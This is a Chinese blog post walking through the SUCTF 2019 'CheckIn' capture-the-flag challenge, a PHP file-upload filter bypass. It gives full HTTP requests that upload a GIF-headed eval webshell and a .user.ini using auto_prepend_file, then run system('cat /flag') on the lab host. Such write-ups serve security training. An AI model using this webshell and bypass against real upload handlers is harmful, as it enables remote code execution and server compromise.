首页 > 其他分享 >[SUCTF 2019]CheckIn

[SUCTF 2019]CheckIn

时间:2023-11-02 21:45:33浏览次数:32  
标签:SUCTF 文件 index CheckIn Accept Content application 2019 image

题目给出了源码,如下。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

可以看到,题目不允许上传后缀名中有 phhtaccess 的文件,同时也不允许上传文件内容中存在 <? 的文件,最后还要求文件通过 exif_imagetype 检测。
因此,可以利用 .user.ini 机制上传。

利用 .user.ini 的前提是服务器开启了 CGI 或者 FastCGI,并且上传文件的存储路径下有 index.php 等可执行文件。
.user.ini 中两个中的配置就是 auto_prepend_fileauto_append_file。这两个配置的意思就是:我们指定一个文件(如 1.jpg),那么该文件就会被包含在要执行的 PHP 文件中(如 index.php),相当于在 index.php 中插入一句:require(./1.jpg)。这两个设置的区别只是在于 auto_prepend_file 是在文件前插入,auto_append_file 在文件最后插入。

通过分析源码及观察上传文件后的响应包,可以发现,在用户上传的文件的位置存在一个 index.php 文件,因此可以使用 .user.ini

HTTP/1.1 200 OK
Server: openresty
Date: Thu, 02 Nov 2023 13:22:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 736

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

Your dir uploads/c55e0cb61f7eb238df09ae30a206e5ee <br>Your files : <br>array(4) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(5) "1.jpg"
  [3]=>
  string(9) "index.php"
}

因此,首先上传一个图片马,如下。

POST /index.php HTTP/1.1
Host: 56fde574-d255-4e6a-a7e2-dc3c0d1c5a15.node4.buuoj.cn:81
Content-Length: 342
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://56fde574-d255-4e6a-a7e2-dc3c0d1c5a15.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6i2QHAOKIWDf1uox
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://56fde574-d255-4e6a-a7e2-dc3c0d1c5a15.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary6i2QHAOKIWDf1uox
Content-Disposition: form-data; name="fileUpload"; filename="1.jpg"
Content-Type: image/jpeg

GIF9
<script language="php">@eval($_POST['cmd'])</script>
------WebKitFormBoundary6i2QHAOKIWDf1uox
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundary6i2QHAOKIWDf1uox--

随后,上传一个 .user.ini 文件,让该目录下的所有 PHP 文件都包含 1.jpg 文件(即刚刚上传的图片马)。

POST /index.php HTTP/1.1
Host: 56fde574-d255-4e6a-a7e2-dc3c0d1c5a15.node4.buuoj.cn:81
Content-Length: 319
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://56fde574-d255-4e6a-a7e2-dc3c0d1c5a15.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6i2QHAOKIWDf1uox
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://56fde574-d255-4e6a-a7e2-dc3c0d1c5a15.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary6i2QHAOKIWDf1uox
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/jpeg

GIF9
auto_prepend_file = 1.jpg
------WebKitFormBoundary6i2QHAOKIWDf1uox
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundary6i2QHAOKIWDf1uox--

在这里,不知为何,用蚁剑或菜刀都无法连接上 shell,因此,直接访问 shell 去执行系统命令拿到 flag 即可。

POST /uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php HTTP/1.1
Host: 56fde574-d255-4e6a-a7e2-dc3c0d1c5a15.node4.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

cmd=system("cat /flag");

标签:SUCTF,文件,index,CheckIn,Accept,Content,application,2019,image
From: https://www.cnblogs.com/imtaieee/p/17806399.html

相关文章

  • [GXYCTF2019]BabyUpload
    题目附件如下。<?phpsession_start();echo"<metahttp-equiv=\"Content-Type\"content=\"text/html;charset=utf-8\"/><title>Upload</title><formaction=\"\"method=\"post\"enctype=\......
  • [十二省联考 2019] 春节十二响
    [十二省联考2019]春节十二响感觉作为例题还是挺不错的。感官上直接分析比较困难。不妨先考虑怎样的段长集合是合法的。注意到合法等价于对每一条从根到叶子的链都合法,考虑在链上贪心,尝试将每个和比他大的最小的点做匹配,如果能匹配上就是合法。很显然,如果仅考虑一条链,那么极小......
  • [ZJCTF 2019]NiZhuanSiWei
    打开题目,得到一段源码,如下。<?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcometothezjctf")){echo"<......
  • 如何在 Windows Server 2019 中启用 Telnet 客户端
    如何在WindowsServer2019中启用 Telnet 客户端这篇文章将介绍如何在Microsoft的WindowsServer2019中安装telnet 客户端。启用Telnet客户端首先,我们需要启用telnet客户端,如果我们不启用它,我们将在尝试使用它时得到类似于以下消息的结果。C:\>telnetgoogle.co......
  • P5659 [CSP-S2019] 树上的数
    相信大家都看过题,但还请搞清楚是数对应结点编号。这里用\(a_i\)表示\(i\)号结点对应的数。对于\(n\leq10\)的数据,全排列出删边的顺序然后模拟,取字典序最小的方案。对于菊花,仍然考虑删边的顺序,假设删边依次是\(rt\tov_1,rt\tov_2,\cdots,rt\tov_{n-1}\)。因为每删一......
  • P5666 [CSP-S2019] 树的重心
    考虑一个结点在什么情况下会成为重心。随便钦定一个根结点。对于结点\(u\),假设割掉了其子树\(v\)中的某条边或连接\(u\)和\(v\)的边,形成了一棵大小为\(k\)的新树。令\(mx\)表示除\(v\)子树外最大的子树大小(或\(n-siz_u\))。如果\(u\)成为了重心根据定义有\(2\ti......
  • P5404 [CTS2019] 重复 题解
    题目链接观察题目,我们发现直接计算是困难的,先构造单个合法的\(T\)分析其性质。为了构造出\(T\),先考虑构造时\(T\)时什么时候会出现不合法的情况,此时\(T\)会有一段和\(S\)相同的前缀,且这段前缀后面跟着的字符比\(S\)所跟的小。为了避免这种情况出现,我们需要在每次添......
  • [极客大挑战 2019]BuyFlag
    打开网页,发现右手边的菜单中有个PAYFLAG,打开后跳转到pay.php中,其中网页源代码有提示,主要内容如下:IfyouwanttobuytheFLAG:YoumustbeastudentfromCUIT!!!Youmustbeanswerthecorrectpassword!!!OnlyCuit'sstudentscanbuytheFLAG ~~~postmoneyand......
  • [RoarCTF 2019]Easy Calc
    题目一打开,是一个计算器。主页源代码如下,这里可以看到有一个calc.php文件,并且提示存在WAF(疑)。<!--I'vesetupWAFtoensuresecurity.--><script>$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($(&q......
  • [极客大挑战 2019]PHP
    打开靶机页面后发现有提示:因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯。结合常用的备份字典,直接扫到存在www.zip文件,下载后解压打开,发现源码。在index.php中,关键代码如下:<?phpinclude'class.php';$select=$_GET['select'];$res=unserialize......